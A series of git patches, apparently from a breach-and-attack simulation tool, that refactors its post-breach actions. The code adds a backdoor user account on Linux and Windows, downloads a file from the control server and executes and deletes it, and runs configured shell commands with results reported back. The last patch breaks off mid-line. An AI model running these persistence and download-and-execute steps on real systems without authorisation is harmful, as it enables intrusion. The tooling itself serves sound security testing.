From 67f8ef4a0a3d658e0aeb887eef1e92c0eb0d3510 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 May 2019 16:29:04 +0300 Subject: [PATCH 01/10] Post breach refactored to support PBA's from list --- monkey/infection_monkey/config.py | 4 - monkey/infection_monkey/monkey.py | 5 +- .../infection_monkey/post_breach/__init__.py | 3 - .../post_breach/actions/__init__.py | 7 ++ .../post_breach/actions/add_user.py | 25 ++++++ .../post_breach/actions/users_custom_pba.py | 89 +++++++++++++++++++ .../infection_monkey/post_breach/add_user.py | 52 ----------- .../post_breach/file_execution.py | 68 -------------- monkey/infection_monkey/post_breach/pba.py | 75 ++++++++-------- .../post_breach/post_breach_handler.py | 74 +++++---------- 10 files changed, 180 insertions(+), 222 deletions(-) create mode 100644 monkey/infection_monkey/post_breach/actions/__init__.py create mode 100644 monkey/infection_monkey/post_breach/actions/add_user.py create mode 100644 monkey/infection_monkey/post_breach/actions/users_custom_pba.py delete mode 100644 monkey/infection_monkey/post_breach/add_user.py delete mode 100644 monkey/infection_monkey/post_breach/file_execution.py diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 0d44cb973..586ff29b8 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,7 +20,6 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') - post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -37,9 +36,6 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) - elif key == 'post_breach_actions': - class_objects = [getattr(post_breach_import, val) for val in value] - setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index df7bcf820..5753af0e2 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -115,10 +115,7 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) - for action_class in WormConfiguration.post_breach_actions: - action = action_class() - action.act() - + # Executes post breach actions PostBreach().execute() if 0 == WormConfiguration.depth: diff --git a/monkey/infection_monkey/post_breach/__init__.py b/monkey/infection_monkey/post_breach/__init__.py index 2bd5547b4..3a692dc66 100644 --- a/monkey/infection_monkey/post_breach/__init__.py +++ b/monkey/infection_monkey/post_breach/__init__.py @@ -1,4 +1 @@ __author__ = 'danielg' - - -from add_user import BackdoorUser diff --git a/monkey/infection_monkey/post_breach/actions/__init__.py b/monkey/infection_monkey/post_breach/actions/__init__.py new file mode 100644 index 000000000..9bcbe4a2a --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/__init__.py @@ -0,0 +1,7 @@ +from os.path import dirname, basename, isfile, join +import glob + + +def get_pba_files(): + files = glob.glob(join(dirname(__file__), "*.py")) + return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')] diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py new file mode 100644 index 000000000..274c2065a --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -0,0 +1,25 @@ +import datetime +from infection_monkey.post_breach.pba import PBA +from infection_monkey.config import WormConfiguration + + +__author__ = 'danielg' + +LINUX_COMMANDS = ['useradd', '-M', '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', + WormConfiguration.user_to_add] + +WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, + WormConfiguration.remote_user_pass, + '/add', '/ACTIVE:NO'] + +PBA_NAME = "Backdoor user" + + +class BackdoorUser(object): + def __init__(self): + pass + + @staticmethod + def get_pba(): + return PBA.default_get_pba(PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py new file mode 100644 index 000000000..1ca9be72a --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -0,0 +1,89 @@ +import requests +import os +import logging + +from infection_monkey.utils import is_windows_os +from infection_monkey.post_breach.pba import PBA +from infection_monkey.control import ControlClient +from infection_monkey.config import WormConfiguration +from infection_monkey.utils import get_monkey_dir_path + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +# Default commands for executing PBA file and then removing it +DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" +DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" + +DIR_CHANGE_WINDOWS = 'cd %s & ' +DIR_CHANGE_LINUX = 'cd %s ; ' + + +class UsersPBA(PBA): + """ + Defines user's configured post breach action. + """ + def __init__(self, command="", filename=""): + self.filename = filename + super(UsersPBA, self).__init__("File execution", command) + + def _execute_default(self): + UsersPBA.download_pba_file(get_monkey_dir_path(), self.filename) + return super(UsersPBA, self)._execute_default() + + @staticmethod + def download_pba_file(dst_dir, filename): + """ + Handles post breach action file download + :param dst_dir: Destination directory + :param filename: Filename + :return: True if successful, false otherwise + """ + + pba_file_contents = requests.get("https://%s/api/pba/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + try: + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + written_PBA_file.write(pba_file_contents.content) + return True + except IOError as e: + LOG.error("Can not download post breach file to target machine, because %s" % e) + return False + + @staticmethod + def get_pba(): + """ + Creates post breach actions depending on users input into 'custom post breach' config section + :return: List of PBA objects ([user's file execution PBA, user's command execution PBA]) + """ + command_pba_name = "Custom command" + + if not is_windows_os(): + # Add linux commands to PBA's + if WormConfiguration.PBA_linux_filename: + if WormConfiguration.custom_PBA_linux_cmd: + # Add change dir command, because user will try to access his file + command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd + return UsersPBA(command, WormConfiguration.PBA_linux_filename) + else: + file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename) + command = DEFAULT_LINUX_COMMAND.format(file_path) + return UsersPBA(command, WormConfiguration.PBA_linux_filename) + elif WormConfiguration.custom_PBA_linux_cmd: + return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_linux_cmd) + else: + # Add windows commands to PBA's + if WormConfiguration.PBA_windows_filename: + if WormConfiguration.custom_PBA_windows_cmd: + # Add change dir command, because user will try to access his file + command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd + return UsersPBA(command, WormConfiguration.PBA_windows_filename) + else: + file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_windows_filename) + command = DEFAULT_WINDOWS_COMMAND.format(file_path) + return UsersPBA(command, WormConfiguration.PBA_windows_filename) + elif WormConfiguration.custom_PBA_windows_cmd: + return PBA(name=command_pba_name, command=WormConfiguration.custom_PBA_windows_cmd) diff --git a/monkey/infection_monkey/post_breach/add_user.py b/monkey/infection_monkey/post_breach/add_user.py deleted file mode 100644 index 94aa210e4..000000000 --- a/monkey/infection_monkey/post_breach/add_user.py +++ /dev/null @@ -1,52 +0,0 @@ -import datetime -import logging -import subprocess -import sys -from infection_monkey.config import WormConfiguration - -LOG = logging.getLogger(__name__) - -# Linux doesn't have WindowsError -try: - WindowsError -except NameError: - WindowsError = None - -__author__ = 'danielg' - - -class BackdoorUser(object): - """ - This module adds a disabled user to the system. - This tests part of the ATT&CK matrix - """ - - def act(self): - LOG.info("Adding a user") - try: - if sys.platform.startswith("win"): - retval = self.add_user_windows() - else: - retval = self.add_user_linux() - if retval != 0: - LOG.warn("Failed to add a user") - else: - LOG.info("Done adding user") - except OSError: - LOG.exception("Exception while adding a user") - - @staticmethod - def add_user_linux(): - cmd_line = ['useradd', '-M', '--expiredate', - datetime.datetime.today().strftime('%Y-%m-%d'), '--inactive', '0', '-c', 'MONKEY_USER', - WormConfiguration.user_to_add] - retval = subprocess.call(cmd_line) - return retval - - @staticmethod - def add_user_windows(): - cmd_line = ['net', 'user', WormConfiguration.user_to_add, - WormConfiguration.remote_user_pass, - '/add', '/ACTIVE:NO'] - retval = subprocess.call(cmd_line) - return retval diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py deleted file mode 100644 index 5f52a29a6..000000000 --- a/monkey/infection_monkey/post_breach/file_execution.py +++ /dev/null @@ -1,68 +0,0 @@ -from infection_monkey.post_breach.pba import PBA -from infection_monkey.control import ControlClient -from infection_monkey.config import WormConfiguration -from infection_monkey.utils import get_monkey_dir_path -import requests -import os -import logging - -LOG = logging.getLogger(__name__) - -__author__ = 'VakarisZ' - -# Default commands for executing PBA file and then removing it -DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}" -DEFAULT_WINDOWS_COMMAND = "{0} & del {0}" - - -class FileExecution(PBA): - """ - Defines user's file execution post breach action. - """ - def __init__(self, linux_command="", windows_command=""): - self.linux_filename = WormConfiguration.PBA_linux_filename - self.windows_filename = WormConfiguration.PBA_windows_filename - super(FileExecution, self).__init__("File execution", linux_command, windows_command) - - def _execute_linux(self): - FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename) - return super(FileExecution, self)._execute_linux() - - def _execute_win(self): - FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename) - return super(FileExecution, self)._execute_win() - - def add_default_command(self, is_linux): - """ - Replaces current (likely empty) command with default file execution command (that changes permissions, executes - and finally deletes post breach file). - Default commands are defined as globals in this module. - :param is_linux: Boolean that indicates for which OS the command is being set. - """ - if is_linux: - file_path = os.path.join(get_monkey_dir_path(), self.linux_filename) - self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path) - else: - file_path = os.path.join(get_monkey_dir_path(), self.windows_filename) - self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path) - - @staticmethod - def download_PBA_file(dst_dir, filename): - """ - Handles post breach action file download - :param dst_dir: Destination directory - :param filename: Filename - :return: True if successful, false otherwise - """ - - PBA_file_contents = requests.get("https://%s/api/pba/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - try: - with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: - written_PBA_file.write(PBA_file_contents.content) - return True - except IOError as e: - LOG.error("Can not download post breach file to target machine, because %s" % e) - return False diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 09fe613b3..230d8e74f 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,7 +1,10 @@ import logging -from infection_monkey.control import ControlClient import subprocess import socket +from infection_monkey.control import ControlClient +from infection_monkey.utils import is_windows_os +from infection_monkey.config import WormConfiguration + LOG = logging.getLogger(__name__) @@ -12,57 +15,55 @@ class PBA(object): """ Post breach action object. Can be extended to support more than command execution on target machine. """ - def __init__(self, name="unknown", linux_command="", windows_command=""): + def __init__(self, name="unknown", command=""): """ :param name: Name of post breach action. - :param linux_command: Command that will be executed on linux machine - :param windows_command: Command that will be executed on windows machine + :param command: Command that will be executed on breached machine """ - self.linux_command = linux_command - self.windows_command = windows_command + self.command = command self.name = name - def run(self, is_linux): + @staticmethod + def get_pba(): """ - Runs post breach action command - :param is_linux: boolean that indicates on which os monkey is running + Should be overridden by all child classes. + This method returns a PBA object based on worm's configuration. + :return: An array of PBA objects. """ - if is_linux: - command = self.linux_command - exec_funct = self._execute_linux - else: - command = self.windows_command - exec_funct = self._execute_win - if command: - hostname = socket.gethostname() - ControlClient.send_telemetry('post_breach', {'command': command, - 'result': exec_funct(), - 'name': self.name, - 'hostname': hostname, - 'ip': socket.gethostbyname(hostname) - }) - - def _execute_linux(self): - """ - Default linux PBA execution function. Override it if additional functionality is needed - """ - return self._execute_default(self.linux_command) - - def _execute_win(self): - """ - Default linux PBA execution function. Override it if additional functionality is needed - """ - return self._execute_default(self.windows_command) + raise NotImplementedError() @staticmethod - def _execute_default(command): + def default_get_pba(name, pba_class, linux_cmd="", windows_cmd=""): + if pba_class.__name__ in WormConfiguration.post_breach_actions: + command = PBA.choose_command(linux_cmd, windows_cmd) + if command: + return PBA(name, command) + + def run(self): + """ + Runs post breach action command + """ + exec_funct = self._execute_default + hostname = socket.gethostname() + ControlClient.send_telemetry('post_breach', {'command': self.command, + 'result': exec_funct(), + 'name': self.name, + 'hostname': hostname, + 'ip': socket.gethostbyname(hostname) + }) + + def _execute_default(self): """ Default post breach command execution routine :param command: What command to execute :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: - return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True + return subprocess.check_output(self.command, stderr=subprocess.STDOUT, shell=True), True except subprocess.CalledProcessError as e: # Return error output of the command return e.output, False + + @staticmethod + def choose_command(linux_cmd, windows_cmd): + return windows_cmd if is_windows_os() else linux_cmd diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index ff24ebbbb..9dafa8f45 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -1,16 +1,14 @@ import logging -import infection_monkey.config -from file_execution import FileExecution -from pba import PBA +import inspect +import importlib +from infection_monkey.post_breach.actions import get_pba_files from infection_monkey.utils import is_windows_os -from infection_monkey.utils import get_monkey_dir_path LOG = logging.getLogger(__name__) __author__ = 'VakarisZ' -DIR_CHANGE_WINDOWS = 'cd %s & ' -DIR_CHANGE_LINUX = 'cd %s ; ' +PATH_TO_ACTIONS = "infection_monkey.post_breach.actions." class PostBreach(object): @@ -19,65 +17,33 @@ class PostBreach(object): """ def __init__(self): self.os_is_linux = not is_windows_os() - self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) + self.pba_list = self.config_to_pba_list() def execute(self): """ Executes all post breach actions. """ for pba in self.pba_list: - pba.run(self.os_is_linux) + pba.run() LOG.info("Post breach actions executed") @staticmethod - def config_to_pba_list(config): + def config_to_pba_list(): """ - Returns a list of PBA objects generated from config. - :param config: Monkey configuration + Passes config to each post breach action class and aggregates results into a list. :return: A list of PBA objects. """ pba_list = [] - pba_list.extend(PostBreach.get_custom_PBA(config)) - + pba_files = get_pba_files() + # Go through all of files in ./actions + for pba_file in pba_files: + # Import module from that file + module = importlib.import_module(PATH_TO_ACTIONS + pba_file) + # Get all classes in a module + pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) if m[1].__module__ == module.__name__] + # Get post breach action object from class + for pba_class in pba_classes: + pba = pba_class.get_pba() + if pba: + pba_list.append(pba) return pba_list - - @staticmethod - def get_custom_PBA(config): - """ - Creates post breach actions depending on users input into 'custom post breach' config section - :param config: monkey's configuration - :return: List of PBA objects ([user's file execution PBA, user's command execution PBA]) - """ - custom_list = [] - file_pba = FileExecution() - command_pba = PBA(name="Custom") - - if not is_windows_os(): - # Add linux commands to PBA's - if config.PBA_linux_filename: - if config.custom_PBA_linux_cmd: - # Add change dir command, because user will try to access his file - file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd - else: - file_pba.add_default_command(is_linux=True) - elif config.custom_PBA_linux_cmd: - command_pba.linux_command = config.custom_PBA_linux_cmd - else: - # Add windows commands to PBA's - if config.PBA_windows_filename: - if config.custom_PBA_windows_cmd: - # Add change dir command, because user will try to access his file - file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \ - config.custom_PBA_windows_cmd - else: - file_pba.add_default_command(is_linux=False) - elif config.custom_PBA_windows_cmd: - command_pba.windows_command = config.custom_PBA_windows_cmd - - # Add PBA's to list - if file_pba.linux_command or file_pba.windows_command: - custom_list.append(file_pba) - if command_pba.windows_command or command_pba.linux_command: - custom_list.append(command_pba) - - return custom_list From bff95fa4701d53bd904e07afbfb0120c238b8a26 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 8 May 2019 17:08:48 +0300 Subject: [PATCH 02/10] Comments fixed --- .../post_breach/actions/__init__.py | 4 ++++ monkey/infection_monkey/post_breach/pba.py | 16 +++++++++++++++- 2 files changed, 19 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/__init__.py b/monkey/infection_monkey/post_breach/actions/__init__.py index 9bcbe4a2a..17007f1e6 100644 --- a/monkey/infection_monkey/post_breach/actions/__init__.py +++ b/monkey/infection_monkey/post_breach/actions/__init__.py @@ -3,5 +3,9 @@ import glob def get_pba_files(): + """ + Gets all files under current directory(/actions) + :return: list of all files without .py ending + """ files = glob.glob(join(dirname(__file__), "*.py")) return [basename(f)[:-3] for f in files if isfile(f) and not f.endswith('__init__.py')] diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 230d8e74f..fa1f57c98 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -34,6 +34,15 @@ class PBA(object): @staticmethod def default_get_pba(name, pba_class, linux_cmd="", windows_cmd=""): + """ + Default get_pba() method implementation + :param name: PBA name + :param pba_class: class instance. Class's name is matched to config to determine + if corresponding field was enabled in post breach array or not. + :param linux_cmd: commands for linux + :param windows_cmd: commands for windows + :return: post breach action + """ if pba_class.__name__ in WormConfiguration.post_breach_actions: command = PBA.choose_command(linux_cmd, windows_cmd) if command: @@ -55,7 +64,6 @@ class PBA(object): def _execute_default(self): """ Default post breach command execution routine - :param command: What command to execute :return: Tuple of command's output string and boolean, indicating if it succeeded """ try: @@ -66,4 +74,10 @@ class PBA(object): @staticmethod def choose_command(linux_cmd, windows_cmd): + """ + Helper method that chooses between linux and windows commands. + :param linux_cmd: + :param windows_cmd: + :return: Command for current os + """ return windows_cmd if is_windows_os() else linux_cmd From 4a8bd01a62048fb6851670bed81ae471d3463466 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 14 May 2019 10:41:38 +0300 Subject: [PATCH 03/10] Minor changes after CR --- monkey/infection_monkey/post_breach/actions/add_user.py | 6 +++--- .../post_breach/actions/users_custom_pba.py | 5 ++++- 2 files changed, 7 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 274c2065a..68fb46983 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -13,13 +13,13 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, WormConfiguration.remote_user_pass, '/add', '/ACTIVE:NO'] -PBA_NAME = "Backdoor user" - class BackdoorUser(object): + PBA_NAME = "Backdoor user" + def __init__(self): pass @staticmethod def get_pba(): - return PBA.default_get_pba(PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS) + return PBA.default_get_pba(BackdoorUser.PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index 1ca9be72a..f8ec48c7e 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -45,12 +45,15 @@ class UsersPBA(PBA): (WormConfiguration.current_server, filename), verify=False, proxies=ControlClient.proxies) + if not pba_file_contents.content: + LOG.error("Island didn't respond with post breach file.") + return False try: with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: written_PBA_file.write(pba_file_contents.content) return True except IOError as e: - LOG.error("Can not download post breach file to target machine, because %s" % e) + LOG.error("Can not upload post breach file to target machine: %s" % e) return False @staticmethod From 002447e749dc239355aa3bb36348308f25ed8e81 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 16 May 2019 12:57:15 +0300 Subject: [PATCH 04/10] Allows to implement helper classes in pba files --- monkey/infection_monkey/post_breach/post_breach_handler.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 9dafa8f45..65b11276c 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -40,7 +40,8 @@ class PostBreach(object): # Import module from that file module = importlib.import_module(PATH_TO_ACTIONS + pba_file) # Get all classes in a module - pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) if m[1].__module__ == module.__name__] + pba_classes = [m[1] for m in inspect.getmembers(module, inspect.isclass) + if ((m[1].__module__ == module.__name__) and getattr(m[1], "get_pba", False))] # Get post breach action object from class for pba_class in pba_classes: pba = pba_class.get_pba() From fe236ebc0598340d8a2532f28bfb269c0b491eb0 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 22 May 2019 17:09:09 +0300 Subject: [PATCH 05/10] Minor readability changes in config service --- monkey/infection_monkey/monkey.spec | 2 +- .../hook-infection_monkey.post_breach.actions.py | 6 ++++++ 2 files changed, 7 insertions(+), 1 deletion(-) create mode 100644 monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index a7f0f0396..d29adddb1 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -15,7 +15,7 @@ def main(): a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), - hookspath=None, + hookspath=['./pyinstaller_hooks'], runtime_hooks=None, binaries=None, datas=None, diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py new file mode 100644 index 000000000..51a0fca4a --- /dev/null +++ b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py @@ -0,0 +1,6 @@ +from PyInstaller.utils.hooks import collect_submodules, collect_data_files + +# Import all actions as modules +hiddenimports = collect_submodules('infection_monkey.post_breach.actions') +# Add action files that we enumerate +datas = (collect_data_files('infection_monkey.post_breach.actions', include_py_files=True)) From f4a47f3cb32f1a0cddd1d9c35c636ff32fba286e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 27 May 2019 09:49:40 +0300 Subject: [PATCH 06/10] Request exception handling --- .../post_breach/actions/users_custom_pba.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index f8ec48c7e..f92035a57 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -41,10 +41,14 @@ class UsersPBA(PBA): :return: True if successful, false otherwise """ - pba_file_contents = requests.get("https://%s/api/pba/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) + try: + pba_file_contents = requests.get("https://%s/api/pba/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + except requests.exceptions.RequestException: + return False + if not pba_file_contents.content: LOG.error("Island didn't respond with post breach file.") return False From c4e384205cefb095bc08bc3ad8811fab1d1c374c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 28 May 2019 14:14:35 +0300 Subject: [PATCH 07/10] PR fixes --- monkey/infection_monkey/control.py | 12 ++++++++++++ .../post_breach/actions/users_custom_pba.py | 12 +++--------- monkey/infection_monkey/post_breach/pba.py | 11 ++++------- .../src/components/report-components/PostBreach.js | 4 ++-- 4 files changed, 21 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 98ad55671..088cdd7b3 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -23,6 +23,8 @@ DOWNLOAD_CHUNK = 1024 # to prevent the monkey from just waiting forever to try and connect to an island before going elsewhere. TIMEOUT = 15 +PBA_FILE_DOWNLOAD = "https://%s/api/pba/download/%s" + class ControlClient(object): proxies = {} @@ -306,3 +308,13 @@ class ControlClient(object): target_addr, target_port = None, None return tunnel.MonkeyTunnel(proxy_class, target_addr=target_addr, target_port=target_port) + + @staticmethod + def get_pba_file(filename): + try: + return requests.get(PBA_FILE_DOWNLOAD % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + except requests.exceptions.RequestException: + return False diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index f92035a57..a13064cb4 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -41,15 +41,9 @@ class UsersPBA(PBA): :return: True if successful, false otherwise """ - try: - pba_file_contents = requests.get("https://%s/api/pba/download/%s" % - (WormConfiguration.current_server, filename), - verify=False, - proxies=ControlClient.proxies) - except requests.exceptions.RequestException: - return False - - if not pba_file_contents.content: + pba_file_contents = ControlClient.get_pba_file(filename) + + if not pba_file_contents or not pba_file_contents.content: LOG.error("Island didn't respond with post breach file.") return False try: diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index fa1f57c98..12de8c760 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -1,9 +1,8 @@ import logging import subprocess -import socket from infection_monkey.control import ControlClient from infection_monkey.utils import is_windows_os -from infection_monkey.config import WormConfiguration +from infection_monkey.config import WormConfiguration, GUID LOG = logging.getLogger(__name__) @@ -53,13 +52,11 @@ class PBA(object): Runs post breach action command """ exec_funct = self._execute_default - hostname = socket.gethostname() + result = exec_funct() ControlClient.send_telemetry('post_breach', {'command': self.command, - 'result': exec_funct(), + 'result': result, 'name': self.name, - 'hostname': hostname, - 'ip': socket.gethostbyname(hostname) - }) + 'guid': GUID}) def _execute_default(self): """ diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js index 763b35de8..aacdc8845 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js @@ -2,7 +2,7 @@ import React from 'react'; import ReactTable from 'react-table' let renderArray = function(val) { - return {val.map(x => {x})}; + return {val.map(x => {x})}; }; let renderIpAddresses = function (val) { @@ -36,7 +36,7 @@ let renderDetails = function (data) { columns={subColumns} defaultPageSize={defaultPageSize} showPagination={showPagination} - style={{"background-color": "#ededed"}} + style={{"backgroundColor": "#ededed"}} /> }; From b6523b1d45a030d79dbcaf1875f70134e4e5fdba Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 28 May 2019 17:37:26 +0300 Subject: [PATCH 08/10] Refactored to automatically check if post breach should run or not --- .../post_breach/actions/add_user.py | 10 +-- .../post_breach/actions/users_custom_pba.py | 74 +++++++++---------- monkey/infection_monkey/post_breach/pba.py | 37 ++++------ .../post_breach/post_breach_handler.py | 7 +- 4 files changed, 53 insertions(+), 75 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index 68fb46983..650f37b2f 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -14,12 +14,6 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, '/add', '/ACTIVE:NO'] -class BackdoorUser(object): - PBA_NAME = "Backdoor user" - +class BackdoorUser(PBA): def __init__(self): - pass - - @staticmethod - def get_pba(): - return PBA.default_get_pba(BackdoorUser.PBA_NAME, BackdoorUser, LINUX_COMMANDS, WINDOWS_COMMANDS) + super(BackdoorUser, self).__init__("Backdoor user", linux_cmd=LINUX_COMMANDS, windows_cmd=WINDOWS_COMMANDS) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index a13064cb4..a297dbd1c 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -1,4 +1,3 @@ -import requests import os import logging @@ -24,14 +23,44 @@ class UsersPBA(PBA): """ Defines user's configured post breach action. """ - def __init__(self, command="", filename=""): - self.filename = filename - super(UsersPBA, self).__init__("File execution", command) + def __init__(self): + super(UsersPBA, self).__init__("File execution") + self.filename = '' + if not is_windows_os(): + # Add linux commands to PBA's + if WormConfiguration.PBA_linux_filename: + if WormConfiguration.custom_PBA_linux_cmd: + # Add change dir command, because user will try to access his file + self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd + self.filename = WormConfiguration.PBA_linux_filename + else: + file_path = os.path.join(get_monkey_dir_path(), WormConfiguration.PBA_linux_filename) + self.command = DEFAULT_LINUX_COMMAND.format(file_path) + self.filename = WormConfiguration.PBA_linux_filename + elif WormConfiguration.custom_PBA_linux_cmd: + self.command = WormConfiguration.custom_PBA_linux_cmd + else: + # Add windows commands to PBA's + if WormConfiguration.PBA_windows_filename: + if WormConfiguration.custom_PBA_windows_cmd: + # Add change dir command, because user will try to access his file + self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd + self.filename = 